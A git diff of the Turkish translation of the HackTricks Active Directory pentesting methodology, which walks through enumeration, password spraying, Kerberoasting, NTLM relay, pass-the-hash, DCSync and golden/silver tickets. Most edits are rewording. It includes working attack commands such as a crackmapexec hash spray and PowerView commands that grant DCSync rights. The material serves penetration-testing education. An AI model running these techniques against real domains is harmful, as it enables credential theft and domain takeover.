> Yazarlar ve yayıncılar, bu kitabın kullanımından kaynaklanan veri kaybı veya kar kaybı dahil, dolaylı veya sonuç olarak ortaya çıkan herhangi bir kayıp veya zarardan, ya da bu kitaptan kaynaklanan veya bağlantılı herhangi bir kayıp veya zarardan sorumlu tutulamaz.
|
||||
> Yazarlar ve yayıncılar, bu kitabın kullanımından kaynaklanan veri kaybı veya kar kaybı dahil, dolaylı veya sonuç olarak ortaya çıkan herhangi bir kayıp veya zarardan sorumlu tutulamaz.
|
||||
>
|
||||
> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasa dışı veya kötü niyetli faaliyet için kullanılmamalıdır. Yazarlar ve yayıncılar, herhangi bir yasa dışı veya etik olmayan faaliyetleri onaylamaz veya desteklemez ve bu kitapta yer alan bilgilerin herhangi bir kullanımı, kullanıcının kendi riskine ve takdirine bağlıdır.
|
||||
> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasa dışı veya kötü niyetli faaliyet için kullanılmamalıdır. Yazarlar ve yayıncılar, herhangi bir yasa dışı veya etik olmayan faaliyetleri onaylamaz veya desteklemez ve bu kitapta yer alan bilgilerin kullanımı, kullanıcının kendi risk ve takdirindedir.
|
||||
>
|
||||
> Kullanıcı, bu kitapta yer alan bilgilere dayanarak alınan herhangi bir eylemden tamamen sorumludur ve burada açıklanan teknikleri veya ipuçlarını uygulamaya çalışırken her zaman profesyonel tavsiye ve yardım almalıdır.
|
||||
>
|
||||
> Bu kitabı kullanarak, kullanıcı, yazarları ve yayıncıları, bu kitabın veya içindeki bilgilerin kullanımından kaynaklanabilecek herhangi bir zarar, kayıp veya zarardan sorumluluktan muaf tutmayı kabul eder.
|
||||
> Bu kitabı kullanarak, kullanıcı, yazarları ve yayıncıları, bu kitabın veya içindeki bilgilerin kullanımından kaynaklanabilecek herhangi bir zarar, kayıp veya zarardan muaf tutmayı kabul eder.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**Active Directory**, **ağ yöneticileri** için bir temel teknoloji olarak hizmet eder, **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlar. Ölçeklenebilir şekilde tasarlanmıştır, çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize etmeyi kolaylaştırırken, çeşitli seviyelerde **erişim haklarını** kontrol eder.
|
||||
|
||||
**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, ortak bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birden fazla ağacın **güven ilişkileri** aracılığıyla birbirine bağlı olduğu koleksiyonu temsil eder, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir.
|
||||
**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, paylaşılan bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir.
|
||||
|
||||
**Active Directory** içindeki anahtar kavramlar şunlardır:
|
||||
|
||||
@ -34,14 +34,14 @@ Bir **AD'yi saldırmak** için **Kerberos kimlik doğrulama sürecini** gerçekt
|
||||
|
||||
## Hile Sayfası
|
||||
|
||||
AD'yi listelemek/sömürmek için hangi komutları çalıştırabileceğinizi hızlıca görmek için [https://wadcoms.github.io/](https://wadcoms.github.io) adresine göz atabilirsiniz.
|
||||
Hızlı bir şekilde hangi komutları çalıştırabileceğinizi görmek için [https://wadcoms.github.io/](https://wadcoms.github.io) adresine göz atabilirsiniz.
|
||||
|
||||
## Active Directory'yi Keşfetme (Kimlik bilgisi/oturum yok)
|
||||
|
||||
Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturumunuz yoksa şunları yapabilirsiniz:
|
||||
|
||||
- **Ağı test et:**
|
||||
- Ağı tarayın, makineleri ve açık portları bulun ve bunlardan **zayıflıkları sömürmeye** veya **kimlik bilgilerini çıkarmaya** çalışın (örneğin, [yazıcılar çok ilginç hedefler olabilir](ad-information-in-printers.md)).
|
||||
- Ağı tarayın, makineleri ve açık portları bulun ve bunlardan **zayıflıkları istismar etmeye** veya **kimlik bilgilerini çıkarmaya** çalışın (örneğin, [yazıcılar çok ilginç hedefler olabilir](ad-information-in-printers.md)).
|
||||
- DNS'i listelemek, alan içindeki anahtar sunucular hakkında bilgi verebilir; web, yazıcılar, paylaşımlar, vpn, medya vb.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Bunu nasıl yapacağınız hakkında daha fazla bilgi bulmak için Genel [**Pentesting Metodolojisi**](../../generic-methodologies-and-resources/pentesting-methodology.md) sayfasına göz atın.
|
||||
@ -57,7 +57,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu
|
||||
|
||||
- **Ldap'ı listele**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- LDAP'ı listelemek için daha ayrıntılı bir kılavuz burada bulunabilir (lütfen **anonim erişime** özel dikkat gösterin):
|
||||
- LDAP'ı listelemek için daha ayrıntılı bir kılavuz burada bulunabilir (özellikle **anonim erişime** dikkat edin):
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
@ -65,11 +65,11 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu
|
||||
|
||||
- **Ağı zehirle**
|
||||
- Kimlik bilgilerini [**Responder ile hizmetleri taklit ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) toplayın.
|
||||
- [**İletim saldırısını kötüye kullanarak**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) ana makineye erişin.
|
||||
- **Sahte UPnP hizmetlerini kötü-S ile** [**açığa çıkararak**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) ile kimlik bilgilerini toplayın.
|
||||
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
|
||||
- [**İletim saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) ana makineye erişin.
|
||||
- Kimlik bilgilerini **sahte UPnP hizmetlerini** [**evil-S ile sergileyerek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) toplayın.
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- Alan ortamları içindeki iç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) kullanıcı adlarını/isimlerini çıkarın ve ayrıca kamuya açık olanlardan.
|
||||
- Eğer şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar şunlardır: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _ASoyad_, _A.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadA_, _Soyad.A_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123).
|
||||
- Eğer şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar şunlardır: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _NSoyad_, _N.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadN_, _Soyad.N_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123).
|
||||
- Araçlar:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
@ -113,7 +113,7 @@ Tamam, geçerli bir kullanıcı adınız var ama şifre yok... O zaman deneyin:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **bir AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevine göre şifrelenmiş bazı veriler içerecektir.
|
||||
- [**Password Spraying**](password-spraying.md): Bulduğunuz her kullanıcı için en **yaygın şifreleri** deneyelim, belki bazı kullanıcı kötü bir şifre kullanıyordur (şifre politikasını aklınızda bulundurun!).
|
||||
- Ayrıca, kullanıcıların mail sunucularına erişim sağlamak için **OWA sunucularını da spray yapabilirsiniz**.
|
||||
- Ayrıca, kullanıcıların mail sunucularına erişim sağlamak için **OWA sunucularını da spray** yapabileceğinizi unutmayın.
|
||||
|
||||
{{#ref}}
|
||||
password-spraying.md
|
||||
@ -121,7 +121,7 @@ password-spraying.md
|
||||
|
||||
### LLMNR/NBT-NS Zehirleme
|
||||
|
||||
Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehirleyerek** elde edebilirsiniz:
|
||||
Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehirleyerek** **elde edebilirsiniz**:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -129,17 +129,17 @@ Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehir
|
||||
|
||||
### NTML Relay
|
||||
|
||||
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zorlayarak AD ortamına erişim sağlayabilirsiniz.
|
||||
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zorlayarak AD ortamına erişim sağlamayı deneyebilirsiniz.
|
||||
|
||||
### NTLM Kimlik Bilgilerini Çalmak
|
||||
|
||||
Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya bir şekilde erişildiğinde **sizinle NTML kimlik doğrulaması tetiklenecektir**, böylece **NTLM zorluğunu çalabilirsiniz**:
|
||||
Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz** varsa, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya erişildiğinde **sizinle NTML kimlik doğrulaması tetiklenecektir**, böylece **NTLM zorluğunu çalabilirsiniz**:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
## Kimlik Bilgileri/oturum ile Aktif Dizin Listeleme
|
||||
## Kimlik bilgileri/oturum ile Aktif Dizin Listeleme
|
||||
|
||||
Bu aşama için **geçerli bir alan hesabının kimlik bilgilerini veya oturumunu ele geçirmiş olmanız gerekir.** Eğer geçerli kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin hala diğer kullanıcıları ele geçirmek için seçenekler olduğunu unutmamalısınız.**
|
||||
|
||||
@ -162,7 +162,7 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük
|
||||
- **Diğer otomatik AD listeleme araçları şunlardır:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**AD'nin DNS kayıtları**](ad-dns-records.md) ilginç bilgiler içerebilir.
|
||||
- Dizin listelemek için kullanabileceğiniz bir **GUI aracı** **SysInternal** Suite'den **AdExplorer.exe**'dir.
|
||||
- Ayrıca, _userPassword_ ve _unixUserPassword_ alanlarında veya hatta _Description_ için kimlik bilgilerini aramak üzere **ldapsearch** ile LDAP veritabanında arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki Şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) bağlantısına bakın.
|
||||
- Ayrıca, _userPassword_ & _unixUserPassword_ alanlarında veya hatta _Description_ için kimlik bilgilerini aramak üzere **ldapsearch** ile LDAP veritabanında arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki Şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) bağlantısına bakın.
|
||||
- **Linux** kullanıyorsanız, [**pywerview**](https://github.com/the-useless-one/pywerview) kullanarak alanı da listeleyebilirsiniz.
|
||||
- Ayrıca otomatik araçlar denemek isteyebilirsiniz:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
@ -175,9 +175,9 @@ Windows'tan tüm alan kullanıcı adlarını elde etmek çok kolaydır (`net use
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting, kullanıcı hesaplarına bağlı hizmetler tarafından kullanılan **TGS biletlerini** elde etmeyi ve bunların şifrelemesini—kullanıcı şifrelerine dayalı olan—**çözmeyi** içerir.
|
||||
Kerberoasting, kullanıcı hesaplarına bağlı hizmetler tarafından kullanılan **TGS biletlerini** elde etmeyi ve bunların şifrelemesini—kullanıcı şifrelerine dayalı olarak—**çözmeyi** içerir.
|
||||
|
||||
Bununla ilgili daha fazla bilgi:
|
||||
Bunun hakkında daha fazla bilgi:
|
||||
|
||||
{{#ref}}
|
||||
kerberoast.md
|
||||
@ -185,13 +185,13 @@ kerberoast.md
|
||||
|
||||
### Uzaktan bağlantı (RDP, SSH, FTP, Win-RM, vb.)
|
||||
|
||||
Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişiminiz olup olmadığını kontrol edebilirsiniz. Bu amaçla, **CrackMapExec** kullanarak farklı protokollerle birkaç sunucuya bağlanmayı deneyebilirsiniz.
|
||||
Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişiminiz olup olmadığını kontrol edebilirsiniz. Bu amaçla, **CrackMapExec** kullanarak farklı protokollerle birkaç sunucuya bağlanmayı deneyebilirsiniz, port taramalarınıza göre.
|
||||
|
||||
### Yerel Yetki Yükseltme
|
||||
|
||||
Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz varsa**, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların** bellek (LSASS) ve yerel (SAM) içindeki hash'lerini **dökmek** mümkün olacaktır.
|
||||
Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz** varsa, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların hash'lerini** bellekte (LSASS) ve yerel olarak (SAM) dökebilirsiniz.
|
||||
|
||||
Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/index.html) hakkında bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın.
|
||||
Bu kitapta [**Windows'ta yerel yetki yükseltme hakkında**](../windows-local-privilege-escalation/index.html) bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın.
|
||||
|
||||
### Mevcut Oturum Biletleri
|
||||
|
||||
@ -205,7 +205,7 @@ Beklenmedik kaynaklara erişim izni veren **biletler** bulmanız çok **olasıl
|
||||
```
|
||||
### NTML Relay
|
||||
|
||||
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirmeyi başarabilirsiniz.**
|
||||
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirebilirsiniz.**
|
||||
|
||||
### **Bilgisayar Paylaşımlarında Kimlik Bilgilerini Arayın**
|
||||
|
||||
@ -235,17 +235,17 @@ printnightmare.md
|
||||
|
||||
### Hash çıkarımı
|
||||
|
||||
Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html) kullanarak **bazı yerel yönetici** hesaplarını **tehlikeye atmayı başardınız**.\
|
||||
Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere bazı yerel yönetici hesaplarını **tehdit etmeyi başardınız**. [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html).\
|
||||
Sonra, bellek ve yerel olarak tüm hash'leri dökme zamanı.\
|
||||
[**Hash'leri elde etmenin farklı yolları hakkında bu sayfayı okuyun.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Hash'i Geç
|
||||
|
||||
**Bir kullanıcının hash'ine sahip olduğunuzda**, onu **taklit etmek için** kullanabilirsiniz.\
|
||||
Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **ya da** yeni bir **sessionlogon** oluşturup **o hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\
|
||||
Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **veya** yeni bir **sessionlogon** oluşturup **bu hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\
|
||||
[**Daha fazla bilgi için bu sayfayı okuyun.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Hash'i Aş/Key'i Geç
|
||||
### Hash'i Aşma/Key'i Geç
|
||||
|
||||
Bu saldırı, **kullanıcı NTLM hash'ini Kerberos biletleri talep etmek için kullanmayı** amaçlar; bu, NTLM protokolü üzerinden yaygın Pass The Hash'e alternatif olarak. Bu nedenle, bu özellikle **NTLM protokolünün devre dışı bırakıldığı** ve yalnızca **Kerberos'un** kimlik doğrulama protokolü olarak **izin verildiği** ağlarda **yararlı olabilir**.
|
||||
|
||||
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### Bileti Geç
|
||||
|
||||
**Pass The Ticket (PTT)** saldırı yönteminde, saldırganlar **bir kullanıcının kimlik doğrulama biletini** çalarlar, bunun yerine şifrelerini veya hash değerlerini alırlar. Bu çalınan bilet daha sonra **kullanıcıyı taklit etmek için** kullanılır ve bir ağ içindeki kaynaklara ve hizmetlere yetkisiz erişim sağlar.
|
||||
**Pass The Ticket (PTT)** saldırı yönteminde, saldırganlar **bir kullanıcının kimlik doğrulama biletini** çalarlar, bunun yerine şifrelerini veya hash değerlerini çalarlar. Bu çalınan bilet daha sonra **kullanıcıyı taklit etmek için** kullanılır ve bir ağ içindeki kaynaklara ve hizmetlere yetkisiz erişim sağlar.
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
@ -263,7 +263,7 @@ pass-the-ticket.md
|
||||
|
||||
### Kimlik Bilgileri Yeniden Kullanımı
|
||||
|
||||
Eğer bir **yerel yönetici**nin **hash'ine** veya **şifresine** sahipseniz, bunu kullanarak diğer **PC'lere** **yerel olarak giriş yapmayı** denemelisiniz.
|
||||
Eğer bir **yerel yönetici**'nin **hash'ine** veya **şifresine** sahipseniz, bunu kullanarak diğer **PC'lere** **yerel olarak giriş yapmayı** denemelisiniz.
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
### MSSQL Kötüye Kullanımı & Güvenilir Bağlantılar
|
||||
|
||||
Bir kullanıcının **MSSQL örneklerine erişim** yetkisi varsa, MSSQL ana bilgisayarında **komutlar çalıştırmak**, NetNTLM **hash**'ini **çalmak** veya hatta bir **relay** **saldırısı** gerçekleştirmek için bunu kullanabilir.\
|
||||
Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse ve kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\
|
||||
Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse, eğer kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\
|
||||
**Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.**
|
||||
|
||||
{{#ref}}
|
||||
@ -311,15 +311,15 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### ACL'lerin Kötüye Kullanımı
|
||||
|
||||
Kompromize olmuş bir kullanıcının, bazı alan nesneleri üzerinde **ilginç yetkilere** sahip olması, daha sonra **yanal hareket etmenizi** veya **yetkileri yükseltmenizi** sağlayabilir.
|
||||
Ele geçirilmiş bir kullanıcının, bazı alan nesneleri üzerinde bazı **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
{{#endref}}
|
||||
|
||||
### Yazıcı Spooler Hizmeti Kötüye Kullanımı
|
||||
### Yazıcı Spooler Servisi Kötüye Kullanımı
|
||||
|
||||
Alan içinde bir **Spool hizmetinin dinlendiğini** keşfetmek, **yeni kimlik bilgileri edinmek** ve **yetkileri yükseltmek** için **kötüye kullanılabilir**.
|
||||
Alan içinde bir **Spool servisi dinleyicisi** bulmak, **yeni kimlik bilgileri edinmek** ve **yetkileri yükseltmek** için **kötüye kullanılabilir**.
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
|
||||
|
||||
### Üçüncü Taraf Oturumlarının Kötüye Kullanımı
|
||||
|
||||
Eğer **diğer kullanıcılar** **kompromize** olmuş makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine beacon enjekte etmek** mümkündür.\
|
||||
Eğer **diğer kullanıcılar** **ele geçirilmiş** makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine beacon'lar enjekte etmek** mümkün olabilir.\
|
||||
Genellikle kullanıcılar sisteme RDP aracılığıyla erişir, bu nedenle burada üçüncü taraf RDP oturumları üzerinde birkaç saldırı gerçekleştirme yöntemini bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
@ -344,7 +344,7 @@ laps.md
|
||||
|
||||
### Sertifika Hırsızlığı
|
||||
|
||||
Kompromize olmuş makineden **sertifikaları toplamak**, ortam içinde yetkileri yükseltmenin bir yolu olabilir:
|
||||
Ele geçirilmiş bir makineden **sertifikaları toplamak**, ortam içinde yetkileri yükseltmenin bir yolu olabilir:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/certificate-theft.md
|
||||
@ -358,7 +358,7 @@ Eğer **savunmasız şablonlar** yapılandırılmışsa, bunları yetkileri yük
|
||||
ad-certificates/domain-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
## Yüksek Yetkili Hesap ile Post-Exploitation
|
||||
## Yüksek Yetkili Hesap ile Sonrası Sömürü
|
||||
|
||||
### Alan Kimlik Bilgilerini Dökme
|
||||
|
||||
@ -391,27 +391,27 @@ Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
```
|
||||
|
||||
### Silver Ticket
|
||||
### Gümüş Bilet
|
||||
|
||||
**Silver Ticket saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve **NTLM hash**'ini kullanır (örneğin, **PC hesabının hash'i**). Bu yöntem, **hizmet yetkilerine erişmek** için kullanılır.
|
||||
**Gümüş Bilet saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve **NTLM hash**'ini (örneğin, **PC hesabının hash'ini**) kullanır. Bu yöntem, **hizmet yetkilerine erişmek** için kullanılır.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Golden Ticket
|
||||
### Altın Bilet
|
||||
|
||||
**Golden Ticket saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir.
|
||||
Bir **Altın Bilet saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir.
|
||||
|
||||
Saldırgan bu hash'i elde ettiğinde, istedikleri herhangi bir hesap için **TGT'ler** oluşturabilir (Silver ticket saldırısı).
|
||||
Saldırgan bu hash'i elde ettiğinde, istedikleri herhangi bir hesap için **TGT'ler** oluşturabilir (Gümüş bilet saldırısı).
|
||||
|
||||
{{#ref}}
|
||||
golden-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Diamond Ticket
|
||||
### Elmas Bilet
|
||||
|
||||
Bunlar, **yaygın golden ticket tespit mekanizmalarını atlayacak şekilde** sahte olarak oluşturulmuş golden ticket'lardır.
|
||||
Bunlar, **yaygın altın bilet tespit mekanizmalarını atlayacak şekilde** sahte olarak oluşturulmuş altın biletler gibidir.
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
@ -427,7 +427,7 @@ ad-certificates/account-persistence.md
|
||||
|
||||
### **Sertifikalar Alan Sürekliliği**
|
||||
|
||||
**Sertifikaları kullanarak, alan içinde yüksek yetkilerle sürekliliği sağlamak da mümkündür:**
|
||||
